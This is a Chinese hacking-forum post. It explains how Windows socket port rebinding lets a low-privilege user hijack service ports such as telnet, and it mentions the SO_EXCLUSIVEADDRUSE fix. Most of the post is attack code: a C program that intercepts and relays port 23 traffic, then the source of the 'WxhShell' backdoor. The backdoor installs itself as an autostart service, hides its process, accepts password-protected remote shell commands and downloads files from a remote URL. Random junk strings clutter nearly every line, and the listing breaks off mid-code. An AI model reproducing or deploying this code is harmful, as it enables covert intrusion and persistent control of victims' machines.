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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @su<h\)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  lbHgxZ  
8c9HJ9vk  
  saddr.sin_family = AF_INET; ~+Gh{,f  
WE) *~5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *~^63Nx!  
0>{ ]*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?h}NL5a  
RIMSXue*Ha  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I8bM-k):9R  
P{o)Ir8Tt  
  这意味着什么?意味着可以进行如下的攻击: /*#o1W?wQZ  
;5tOQ&p%v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Jq/itsg  
2^o7 ^S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g{'f%bkG  
 L8`v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UA$IVK&{  
>5FTB e[D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MfL7|b)  
~Gfytn9x.;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  @lN\.O  
\W*L9azr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $*0-+h  
^\}qq>_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H!IVbL`a{  
,6>3aD1w~q  
  #include =z'(FP5!0  
  #include VVeJe"!t  
  #include uPfz'|,  
  #include    TE Z%|5(]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F vkyp"W3  
  int main() wKM9fs  
  { =|?`5!A  
  WORD wVersionRequested; gzs \C{4D  
  DWORD ret; qX@e+&4P0  
  WSADATA wsaData; G&*P*f1 S  
  BOOL val; 23?u_?+4i  
  SOCKADDR_IN saddr; c>LP}PGk  
  SOCKADDR_IN scaddr; D{+@ ,C7B  
  int err; a3yNd  
  SOCKET s; <\#'o}  
  SOCKET sc; UePkSz9EU  
  int caddsize; '-v:"%s|  
  HANDLE mt; G0 )[(s  
  DWORD tid;   V ?Jy  
  wVersionRequested = MAKEWORD( 2, 2 ); $S#Z>d*1!  
  err = WSAStartup( wVersionRequested, &wsaData ); ^2k jO/  
  if ( err != 0 ) { Rt#QW*h\|i  
  printf("error!WSAStartup failed!\n"); R%jOgZG  
  return -1; (  cs  
  } I-R7+o  
  saddr.sin_family = AF_INET; NW[K/`-CTH  
   0"R>:f}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H7+"BWc  
bWo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M_E,pg=rWI  
  saddr.sin_port = htons(23); rDWAZ<;;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ogFo/TKM  
  { &Sd5]r@+  
  printf("error!socket failed!\n"); ia5%  
  return -1; vqeH<$WHvy  
  } *p(_="J,  
  val = TRUE; "L~Oj&AN[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bLg!LZ|S0s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )V1xL_hx/  
  { . Vb|le(7  
  printf("error!setsockopt failed!\n"); @ [;'b$T$  
  return -1; 9)VAEyv  
  } 3RtVFDIZA"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %E_Y4Oe1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6$b =Tr=0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;U(]#pW!t  
V;: k-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .b";7}9{  
  { _mqU:?Q5  
  ret=GetLastError(); bL7Gkbs&|  
  printf("error!bind failed!\n"); Cu+p!hV  
  return -1; ;U'\"N9  
  } 76w[X=Fv  
  listen(s,2); TDo)8+.2 z  
  while(1) (9u`(|x  
  { k{+cFG\C&  
  caddsize = sizeof(scaddr); 0T`Qoo>u  
  //接受连接请求 4FaO+Eo,8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z|_V ;*  
  if(sc!=INVALID_SOCKET) 4V:W 8k 9D  
  { $V87=_}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6u"wgX]H  
  if(mt==NULL) 6(QfD](2}  
  { dUv@u !}B  
  printf("Thread Creat Failed!\n"); wH|%3 @eJ  
  break; $ +WXM$N  
  } X;!*D  
  } s&E,$|80  
  CloseHandle(mt); }uIQ@f`  
  } ZjxF@`H  
  closesocket(s); je mb/ :E  
  WSACleanup(); N*A*\B%{x'  
  return 0; Iy_5k8 ]  
  }   :<aGZ\R5  
  DWORD WINAPI ClientThread(LPVOID lpParam) !}6'vq  
  { gfggL&t(  
  SOCKET ss = (SOCKET)lpParam; V(TtOuv  
  SOCKET sc; I">">  
  unsigned char buf[4096]; xo@1((|z  
  SOCKADDR_IN saddr; hF-QbO  
  long num; EGD{nE  
  DWORD val; @{@b^tk  
  DWORD ret; v\w*VCjoV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xdO3koE:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T9c7cp[  
  saddr.sin_family = AF_INET; U '{PpZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }Cu:BD.zQ  
  saddr.sin_port = htons(23); OmB M)g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q_[y|ETJ]  
  { YIk@{V  
  printf("error!socket failed!\n"); #K^hKx9  
  return -1; ft/k-64  
  } \IQG%L{  
  val = 100; I;@q`Tm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tpS gbGzp  
  { 9Buss+K?/h  
  ret = GetLastError(); !PIg ,  
  return -1; 5 SQ!^1R 9  
  } p.:|Z-W$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RZxh"lIo  
  { f hK<P_}  
  ret = GetLastError(); ;SXkPs3q  
  return -1; +^9^)Ur|  
  } BQfnoF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QI[WXx p  
  { uT]$R  
  printf("error!socket connect failed!\n"); _EMX x4J  
  closesocket(sc); ?Q_ @@)  
  closesocket(ss); q#j[0,^ $  
  return -1; xtGit}  
  } SXsszb:_  
  while(1) Cj#wY  
  { ;I5P<7VW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2}<tzDI'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N%Bl+7,q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B\ 'rxbH  
  num = recv(ss,buf,4096,0); h_ t`)]-  
  if(num>0) 3fLdceT  
  send(sc,buf,num,0); % (h6m${j  
  else if(num==0) Y9mhDznS  
  break; Gw) y<h  
  num = recv(sc,buf,4096,0); W)1nc"WqY  
  if(num>0) H^Pq[3NQ  
  send(ss,buf,num,0); JX'}+.\  
  else if(num==0) kVLZdXn,q2  
  break; | K|AUI  
  } e_!h>=$%8  
  closesocket(ss); Jm , :6T  
  closesocket(sc); lfBCzxifC  
  return 0 ; `0ZH=*P  
  } 4j;IyQDvM  
qdQ4%,E[  
'R1C-U3w,  
========================================================== kt Z~r. +  
[ DpOI  
下边附上一个代码,,WXhSHELL C+\z$/q  
uNy-r`vg  
========================================================== ->qRGUW  
g Nz  
#include "stdafx.h" Hva!6vwO%O  
JAHmmNlW  
#include <stdio.h> hg12NzbK  
#include <string.h> y:\<FLR}j  
#include <windows.h> T} \>8EEG  
#include <winsock2.h> !ldE9 .  
#include <winsvc.h> ~98q1HgS]D  
#include <urlmon.h> #U0| j?!D  
BUZ74  
#pragma comment (lib, "Ws2_32.lib") [e,xC!2  
#pragma comment (lib, "urlmon.lib") YQ+8lANC  
X%-"b`  
#define MAX_USER   100 // 最大客户端连接数 jA8Bmwt;w  
#define BUF_SOCK   200 // sock buffer H`<u2fo|p  
#define KEY_BUFF   255 // 输入 buffer 1<h@ ^s;  
/7B3z}rd  
#define REBOOT     0   // 重启 +Q"s!\5  
#define SHUTDOWN   1   // 关机 &K!0yR  
)2"WC\%  
#define DEF_PORT   5000 // 监听端口 7/&taw%i  
!rgXB(  
#define REG_LEN     16   // 注册表键长度 zx)}XOYf  
#define SVC_LEN     80   // NT服务名长度 .z CkB86  
;xq;c\N  
// 从dll定义API =l2 @'YQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HziQ%QR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B_#M)d O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E>@]"O)=M,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wv5=$y  
>mQD/U  
// wxhshell配置信息 a%y*e+oM  
struct WSCFG { NjS<DzKhK  
  int ws_port;         // 监听端口 {<IHiB35q  
  char ws_passstr[REG_LEN]; // 口令 K4Ed]hX  
  int ws_autoins;       // 安装标记, 1=yes 0=no )cgNf]oy  
  char ws_regname[REG_LEN]; // 注册表键名 e]1) _;b*  
  char ws_svcname[REG_LEN]; // 服务名 Dg^s$2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 + d>2'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J%Y-3{TQK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W SvhC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;t N@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v3~`1MM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r *N@%T  
6I~M8Lo ;  
}; NWwKp?  
^Gbcs l~Gj  
// default Wxhshell configuration |@rf#,hTDp  
struct WSCFG wscfg={DEF_PORT, XwIHIG}  
    "xuhuanlingzhe", rU>l(O'b  
    1, _ y'g11 \  
    "Wxhshell", ;|=5)KE  
    "Wxhshell", O&CY9 2)Lk  
            "WxhShell Service", REc90v2"  
    "Wrsky Windows CmdShell Service", Aa-OMo;~  
    "Please Input Your Password: ", /5 KY6XxR  
  1, oeVI 6-_S  
  "http://www.wrsky.com/wxhshell.exe", 0<-A2O),  
  "Wxhshell.exe" |p/[sD+M  
    }; 9-# =xE9'U  
ty;a!yjC  
// 消息定义模块 }q_Iep  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G"J 8i|~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <YG 42,N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M;g"rpM  
char *msg_ws_ext="\n\rExit."; ) fuAdG  
char *msg_ws_end="\n\rQuit."; 4,`t9f^:  
char *msg_ws_boot="\n\rReboot..."; j0cB#M44  
char *msg_ws_poff="\n\rShutdown..."; +IGSOWL  
char *msg_ws_down="\n\rSave to "; W)2k>cS  
KVC18"|f  
char *msg_ws_err="\n\rErr!"; 4\U"e*  
char *msg_ws_ok="\n\rOK!"; 2zsDb'r  
$*fEgU% c  
char ExeFile[MAX_PATH]; TD;u"  
int nUser = 0; OS~Z@'Eg  
HANDLE handles[MAX_USER]; BMzS3;1_  
int OsIsNt; d^Cv9%X  
&x.5TDB>%  
SERVICE_STATUS       serviceStatus; o -x=/b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^6UE/4x!y  
pmUC4=&e  
// 函数声明 ],<pZ1V;  
int Install(void); {- &wV  
int Uninstall(void); Np opg1Gv>  
int DownloadFile(char *sURL, SOCKET wsh); z9Y}[ pN  
int Boot(int flag); :2t?0YR  
void HideProc(void); :y~l?0b&8  
int GetOsVer(void); WD8F]+2O\  
int Wxhshell(SOCKET wsl); jTsQsHq   
void TalkWithClient(void *cs); Urm(A9|N  
int CmdShell(SOCKET sock); RLVz"=  
int StartFromService(void); hs)_h^P   
int StartWxhshell(LPSTR lpCmdLine); d ~CZ9h  
:Mu]* N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ['c*<f" D2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7?Twhs.O  
GKXd"8z]  
// 数据结构和表定义 wx/*un%2  
SERVICE_TABLE_ENTRY DispatchTable[] = aH$DEs  
{ e&pt[W}X%u  
{wscfg.ws_svcname, NTServiceMain}, H"JzTo8u  
{NULL, NULL} F @!9rl'  
}; meD?<g4n~"  
s9b+uUt%  
// 自我安装 e>HdJ"S`  
int Install(void) t; #D,gx  
{ ?D@WXE0a  
  char svExeFile[MAX_PATH]; cS|W&IH1  
  HKEY key; %&$s0=+  
  strcpy(svExeFile,ExeFile); p^QppM94  
:N=S nyz  
// 如果是win9x系统,修改注册表设为自启动 I!p[:.t7  
if(!OsIsNt) { U7xQ 5lph  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - [vH4~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2,6|l.WFpE  
  RegCloseKey(key); CVgVyy^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OYIH**?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H3 |x  
  RegCloseKey(key); w2]]##J  
  return 0; Kb#Z(C9  
    } ^,fMs:  
  } u3vw[k  
} mm`yu$9gbP  
else { ESY\!X:|  
U'xmn$ O  
// 如果是NT以上系统,安装为系统服务 L8$+%Gvo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D0p>Q^w  
if (schSCManager!=0) u85Uy yN  
{ &(X-b"2  
  SC_HANDLE schService = CreateService 'CjcFP  
  ( LeXkl=CC  
  schSCManager, qJJ~#W)  
  wscfg.ws_svcname, &Ht5!zuW,  
  wscfg.ws_svcdisp, vy5SBiK  
  SERVICE_ALL_ACCESS, VL@eR9}9K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \yo)oIi[p  
  SERVICE_AUTO_START, 7,D6RP(b  
  SERVICE_ERROR_NORMAL, &n2dL->*#  
  svExeFile, R`>z>!)  
  NULL, }woNI  
  NULL, 5PT*b}g@  
  NULL, 5cSqo{|En  
  NULL, 5m a(~5  
  NULL g5hMZPOmP  
  ); K2oyHw<mk  
  if (schService!=0) s#C~HK  
  { N ._&\fHY  
  CloseServiceHandle(schService); b~EA&dc  
  CloseServiceHandle(schSCManager); mRD'@n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _*dUH5  
  strcat(svExeFile,wscfg.ws_svcname); gO]jeO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `BKV/Xl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,wH]|`w  
  RegCloseKey(key); $r/tVu2!W  
  return 0; ood,k{  
    } 2mPU /  
  } [f@[ gE  
  CloseServiceHandle(schSCManager); "s rRlu  
} |7E1yu  
} k|F TT  
 <sC.  
return 1; @xPWR=Lb  
} ~V!gHJ5M  
<(dg^;  
// 自我卸载 " midC(rTm  
int Uninstall(void) ^q)s  
{ l]__!X  
  HKEY key; 222Mm/QN  
bZzB\FB~  
if(!OsIsNt) { _(J/$D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1usLCG>w{  
  RegDeleteValue(key,wscfg.ws_regname); 9/I|oh_ G  
  RegCloseKey(key); w4\g]\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.q4rr  
  RegDeleteValue(key,wscfg.ws_regname); .Fn7yTQ%  
  RegCloseKey(key); )i*-j =  
  return 0; 4lpkq  
  } H.]rH,8  
} 4ai|*8.  
} _|vY)4B 4U  
else { md`"zV  
`_5{: 9N$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :PF6xL&  
if (schSCManager!=0) 0l>4Umxr{J  
{ -k"5GUc|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >]S-a-|Bp  
  if (schService!=0) _ -C{:rV  
  { 1wM~),B8  
  if(DeleteService(schService)!=0) { E)utrO R  
  CloseServiceHandle(schService); ;-!j,V+$h  
  CloseServiceHandle(schSCManager); I<^&~==  
  return 0; %cFqD &6  
  } O7D61~G]  
  CloseServiceHandle(schService); ;dE'# Kb  
  } ;ax%H @o  
  CloseServiceHandle(schSCManager); Dt\rMSjZ9  
} GYK&QYi,  
} !JWZ}u M6  
UbSAyf  
return 1; Ym5ji$!2  
} cfA)Ui  
0L|D1_k[  
// 从指定url下载文件 QFX )Nov];  
int DownloadFile(char *sURL, SOCKET wsh) /#xx,?~xx0  
{ S"G`j!m1  
  HRESULT hr; s\A4y "  
char seps[]= "/"; |?/,ED+|>D  
char *token; brt1Kvu8(  
char *file; TuX9:Q  
char myURL[MAX_PATH]; BEnIyVU;L  
char myFILE[MAX_PATH]; k9vzxZ%s:  
m6^n8%  
strcpy(myURL,sURL); !,zRg5Wp4  
  token=strtok(myURL,seps); TW5Pt{X= f  
  while(token!=NULL) N9=1<{Z  
  { kcN#g- 0  
    file=token; v3/l= e?u  
  token=strtok(NULL,seps); F>/"If#  
  } iW,fKXuo&y  
qrZ*r{3  
GetCurrentDirectory(MAX_PATH,myFILE); uKE?VNC]  
strcat(myFILE, "\\"); EX9os  
strcat(myFILE, file); |v31weD8  
  send(wsh,myFILE,strlen(myFILE),0); t1MK5B5jH  
send(wsh,"...",3,0); N#zh$0!8bJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MiB}10  
  if(hr==S_OK) ~gJJ@j 0n  
return 0; <b$.{&K  
else }6!*H!  
return 1; iX\]-_D  
Qy_! +q  
} S<bsrS*$  
;j^C35  
// 系统电源模块 8ZPjzN>c6  
int Boot(int flag) mKN#dmw6  
{ N!iugGL  
  HANDLE hToken; 5}MjS$2og  
  TOKEN_PRIVILEGES tkp; 4J${gcju  
5 i;n:&Y  
  if(OsIsNt) { L>.* ^]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *Y/}E X! F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7t~12m8x  
    tkp.PrivilegeCount = 1; LOf)D7T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [+4/M3J%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $++SF)G1]_  
if(flag==REBOOT) { (Y>|P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C|hD^m  
  return 0; 1}Mdo&:t  
} fA{t\  
else { .tH[A[/1 a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) . \:{6_  
  return 0; B(B77SOb  
} ?|,-Bft3  
  } ~![J~CkPS  
  else { FvVR \a  
if(flag==REBOOT) { N~t4qlC/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w_h}c$;GK  
  return 0; CPt62j8  
} 1b4/  
else { #9FY;~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NUp,In_  
  return 0; Cr#Z.  
} i^2-PKPg{  
} \PJpy^i  
|];f?1  
return 1; vn Ol-`Z ~  
} WO]9\"|y  
AaX][2y8  
// win9x进程隐藏模块 )o%sN'U,1  
void HideProc(void) Lk>o`<*  
{ q9iHJ'lMD*  
MQvk& AX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s !XJ   
  if ( hKernel != NULL ) <yxy ;o  
  { K 0Gm ?(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Ud6F t6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [ 30ta<-  
    FreeLibrary(hKernel); yZcnky  
  } lZ>j:/R8^&  
ngI3.v/R  
return; cypb 6Q_  
} S2,tv  
o~J~-$T{  
// 获取操作系统版本 v| Yh]y  
int GetOsVer(void) {Ne5*HFV  
{ _(1Shm  
  OSVERSIONINFO winfo; HBp$   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <7 R+p;y  
  GetVersionEx(&winfo); yh:Wg$qx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SQ0?M\D7  
  return 1; }K'gjs/N;  
  else |rr<4>)X  
  return 0; %]1.)j  
} vtu!* 7m  
Y6w7sr_R  
// 客户端句柄模块 Wv7hY"  
int Wxhshell(SOCKET wsl) iPeW;=-2Wk  
{ [8v>jQ)  
  SOCKET wsh; Um2RLM%  
  struct sockaddr_in client; _6!@>`u~  
  DWORD myID; H&_drxUq;L  
G%FLt[  
  while(nUser<MAX_USER) S\"#E:A  
{ ]21`x  
  int nSize=sizeof(client); x*7Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @/f'i9?oM`  
  if(wsh==INVALID_SOCKET) return 1; `%ulorS  
f@7HVv&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J_`a}ox  
if(handles[nUser]==0) aPR XK1  
  closesocket(wsh); %|AXVv7IN>  
else VV$4NV&`Q  
  nUser++; EV.F/W h  
  } zz* *HwRt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ @ASAhV^+  
&w'1  
  return 0;  e gdbv  
} *VV#o/Q p  
Ouos f1  
// 关闭 socket =;A >1g$  
void CloseIt(SOCKET wsh) oo-O>M#5  
{ KJP}0|[  
closesocket(wsh); qLWM,[Og  
nUser--; 6QM$aLLP?  
ExitThread(0); dng^#|X)?  
} < 19A=  
_MLbJ  
// 客户端请求句柄 v9 *WM3  
void TalkWithClient(void *cs) L"Dos +  
{ dKJ-{LV  
Zgw4[GpL  
  SOCKET wsh=(SOCKET)cs; LTWiCI  
  char pwd[SVC_LEN]; ^Gwpx +  
  char cmd[KEY_BUFF]; G(;R+%pu  
char chr[1]; I#UL nSJ3  
int i,j; F_.1^XM  
des.TSZ  
  while (nUser < MAX_USER) { 9!?Ywc>0#  
twP%+/g]<  
if(wscfg.ws_passstr) { }Yargj_Gn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \]|(w*C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0`KR8# A@  
  //ZeroMemory(pwd,KEY_BUFF); )o`[wq  
      i=0; ~i UG24v  
  while(i<SVC_LEN) { UZRN4tru6  
z2~\ b3G  
  // 设置超时 ?<efKs  
  fd_set FdRead; V~MyX&`  
  struct timeval TimeOut; gN; E}AQt  
  FD_ZERO(&FdRead); tUT:v K`  
  FD_SET(wsh,&FdRead); (i;,D-  
  TimeOut.tv_sec=8; ;Z.sK-NJ4  
  TimeOut.tv_usec=0; p)Fi{%bc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'y&DOy/|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~c`%k>$  
eZ8DW6l*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^TEFKx}PX  
  pwd=chr[0]; szUJh9-  
  if(chr[0]==0xd || chr[0]==0xa) { *-X`^R  
  pwd=0; 5$&',v(  
  break; utU ;M*  
  } 5Zuk`%O  
  i++; ^GnR1.ux  
    } IC:>60A,]  
uNf97*~_  
  // 如果是非法用户,关闭 socket e7r3o,!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9c{T|+ ]  
} 5;@2SY7 ,  
js;k,`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  N<~LgH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W4q |55  
QB"+B]rV  
while(1) { ~A_1he~  
95mwDHbA  
  ZeroMemory(cmd,KEY_BUFF); p0Pmmp7r  
-,q qQf  
      // 自动支持客户端 telnet标准   i hcSSUm  
  j=0; nm,(Wdr  
  while(j<KEY_BUFF) { &mkL4 jXG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,wZq ~; 2  
  cmd[j]=chr[0]; 4ufT-&m};s  
  if(chr[0]==0xa || chr[0]==0xd) { KEjMxOv1  
  cmd[j]=0; m:Fdgu9  
  break; x}~Z[bx  
  } sspGB>h8l  
  j++; zNM*xPgS  
    } L, 2;-b|  
} 8[  
  // 下载文件 /^$n&gI  
  if(strstr(cmd,"http://")) { PQ2rNY6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a y$CUw  
  if(DownloadFile(cmd,wsh)) pfQ3Y$z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YBL.R;^v  
  else w1LZ\nA<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g>QN9v})  
  } y*!8[wASHq  
  else { l p|`n  
_wUg+Xs]  
    switch(cmd[0]) { 5a|{ytP   
  S5\KI+;PW  
  // 帮助 f h:wmc'  
  case '?': { nh? JiH {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X*M2 O%g`L  
    break; {Ga=; 0  
  } nd"$gi  
  // 安装 VNwOD-b/]  
  case 'i': { P6A##z  
    if(Install()) qwq5y t?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fg0!2MKq*  
    else d^8n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NInZ~4:  
    break; :xk+`` T  
    } r-No\u_  
  // 卸载 piFZu/~Gq\  
  case 'r': { 8WpZ "  
    if(Uninstall()) C=t9P#g*.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O*yA50Cn  
    else h0")NBRV&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pGr4b:N  
    break; v oO7W"  
    } R`M@;9I.@  
  // 显示 wxhshell 所在路径 HLPY%VeD  
  case 'p': { K^I B1U$  
    char svExeFile[MAX_PATH]; EUW>8kw0  
    strcpy(svExeFile,"\n\r"); ~-UO^$M-  
      strcat(svExeFile,ExeFile); h:i FLSf  
        send(wsh,svExeFile,strlen(svExeFile),0); &t6:1T  
    break; h-\Ov{~  
    } vlFq-W!  
  // 重启 X|C=Q   
  case 'b': { xT-`dS0u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OHt^e7\  
    if(Boot(REBOOT)) 'n}]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zm3$)*p1  
    else { [x'D+!  
    closesocket(wsh); _k#GjAPM  
    ExitThread(0); GK [Hs 1/  
    } Jv kTfTE7  
    break; #'n.az=1  
    } BS%pS(  
  // 关机 e ^ZY  
  case 'd': { |Mgzb0_IiQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '7g]@Q7  
